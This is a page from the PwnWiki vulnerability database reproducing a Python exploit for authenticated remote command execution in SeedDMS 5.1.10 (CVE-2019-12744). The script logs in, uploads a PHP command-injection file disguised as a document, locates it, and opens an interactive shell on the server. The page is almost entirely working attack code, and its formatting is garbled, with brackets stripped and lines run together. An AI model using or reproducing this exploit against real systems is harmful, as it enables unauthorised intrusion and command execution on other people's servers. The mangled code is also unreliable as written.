免费、自由、人人(PwnWiki.Com)可编辑的漏洞库
,
影响版本
Version: Seeddms 5.1.10
EXP
# Exploit Title: Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated) # Date: 25/06/2021 # Exploit Author: Bryan Leong <NobodyAtall> # Vendor Homepage: https://www.seeddms.org/index.php?id=2 # Software Link: https://sourceforge.net/projects/seeddms/files/seeddms-5.0.11/ # Version: Seeddms 5.1.10 # Tested on: Windows 7 x64 # CVE: CVE-2019-12744 import requests import argparse import sys import random import string from bs4 import BeautifulSoup from requests_toolbelt import MultipartEncoder def sysArgument(): ap = argparse.ArgumentParser() ap.add_argument("-u", "--username", required=True, help="login username") ap.add_argument("-p", "--password", required=True, help="login password") ap.add_argument("--url", required=True, help="target URL Path") args = vars(ap.parse_args()) return args'username', args'password', args'url' def login(sessionObj, username, password, url): loginPath = "/op/op.Login.php" url += loginPath postData = { 'login': username, 'pwd': password, 'lang' : 'en_GB' } try: rsl = sessionObj.post(url, data=postData) if(rsl.status_code == 200): if "Error signing in. User ID or password incorrect." in rsl.text: print("! Incorrect Credential.") else: print("* Login Successful.") print("* Session Token: " + sessionObj.cookies.get_dict()'mydms_session') return sessionObj else: print("! Something went wrong.") print("Status Code: %d" % (rsl.status_code)) sys.exit(0) except Exception as e: print("! Something Went Wrong!") print(e) sys.exit(0) return sessionObj def formTokenCapturing(sessionObj, url): path = "/out/out.AddDocument.php?folderid=1&showtree=1" url += path formToken = "" try: rsl = sessionObj.get(url) if(rsl.status_code == 200): print("* Captured Form Token.") #extracting form token soup = BeautifulSoup(rsl.text,'html.parser') form1 = soup.findAll("form", {"id": "form1"}) soup = BeautifulSoup(str(form10),'html.parser') formToken = soup.find("input", {"name": "formtoken"}) print("* Form Token: " + formToken.attrs'value') return sessionObj, formToken.attrs'value' else: print("! Something went wrong.") print("Status Code: %d" % (rsl.status_code)) sys.exit(0) except Exception as e: print("! Something Went Wrong!") print(e) sys.exit(0) return sessionObj, formToken def uploadingPHP(sessionObj, url, formToken): path = "/op/op.AddDocument.php" url += path #generating random name letters = string.ascii_lowercase rand_name = ''.join(random.choice(letters) for i in range(20)) #POST Data payload = { 'formtoken' : formToken, 'folderid' : '1', 'showtree' : '1', 'name' : rand_name, 'comment' : '', 'keywords' : '', 'sequence' : '2', 'presetexpdate' : 'never', 'expdate' : '', 'ownerid' : '1', 'reqversion' : '1', 'userfile' : ( '%s.php' % (rand_name), open('phpCmdInjection.php', 'rb'), 'application/x-httpd-php' ), 'version_comment' : '' } multiPartEncodedData = MultipartEncoder(payload) try: rsl = sessionObj.post(url, data=multiPartEncodedData, headers={'Content-Type' : multiPartEncodedData.content_type}) if(rsl.status_code == 200): print("* Command Injection PHP Code Uploaded.") print("* Name in Document Content Shows: " + rand_name) return sessionObj, rand_name else: print("! Something went wrong.") print("Status Code: %d" % (rsl.status_code)) sys.exit(0) except Exception as e: print("! Something Went Wrong!") print(e) sys.exit(0) return sessionObj, rand_name def getDocID(sessionObj, url, docName): path = "/out/out.ViewFolder.php?folderid=1" url += path try: rsl = sessionObj.get(url) if(rsl.status_code == 200): #searching & extracting document id storing payload soup = BeautifulSoup(rsl.text,'html.parser') viewFolderTables = soup.findAll("table", {"id": "viewfolder-table"}) soup = BeautifulSoup(str(viewFolderTables0),'html.parser') rowsDoc = soup.findAll("tr", {"class": "table-row-document"}) for i in range(len(rowsDoc)): soup = BeautifulSoup(str(rowsDoci),'html.parser') tdExtracted = soup.findAll("td") foundDocName = tdExtracted1.contents0.contents0 #when document name matched uploaded document name if(foundDocName == docName): print("* Found Payload Document Name. Extracting Document ID...") tmp = tdExtracted1.contents0.attrs'href'.split('?') docID = tmp1.replace("&showtree=1", "").replace('documentid=', '') print("* Document ID: " + docID) return sessionObj, docID #after loops & still unable to find matched uploaded Document Name print("! Unable to find document ID.") sys.exit(0) else: print("! Something went wrong.") print("Status Code: %d" % (rsl.status_code)) sys.exit(0) except Exception as e: print("! Something Went Wrong!") print(e) sys.exit(0) return sessionObj def shell(sessionObj, url, docID): #remove the directory /seeddms-5.1.x splitUrl = url.split('/') remLastDir = splitUrl:-1 url = "" #recontruct url for text in remLastDir: url += text + "/" #path storing uploaded php code path = "/data/1048576/%s/1.php" % docID url += path #checking does the uploaded php exists? rsl = sessionObj.get(url) if(rsl.status_code == 200): print("* PHP Script Exist!") print("* Injecting some shell command.") #1st test injecting whoami command data = { 'cmd' : 'whoami' } rsl = sessionObj.post(url, data=data) if(rsl.text != ""): print("* There's response from the PHP script!") print('* System Current User: ' + rsl.text.replace("<pre>", "").replace("
", ""))
print("* Spawning Shell. type .exit to exit the shell", end="\n\n") #start shell iteration while(True): cmd = input("Seeddms Shell$ ")
if(cmd == ".exit"): print("* Exiting shell.") sys.exit(0)
data = { 'cmd' : cmd }
rsl = sessionObj.post(url, data=data)
print(rsl.text.replace("
", "").replace("
", ""))
else: print("! No response from PHP script. Something went wrong.") sys.exit(0)
else: print("! PHP Script Not Found!!") print(rsl.status_code) sys.exit(0)
def main():
username, password, url = sysArgument()
sessionObj = requests.Session()
#getting session token from logging in sessionObj = login(sessionObj, username, password, url)
#capturing form token for adding document sessionObj, formToken = formTokenCapturing(sessionObj, url)
#uploading php code for system command injection sessionObj, docName = uploadingPHP(sessionObj, url, formToken)
#getting document id sessionObj, docID = getDocID(sessionObj, url, docName) #spawning shell to exec system Command shell(sessionObj, url, docID)
if __name__ == "__main__":
main()
pwnwiki.com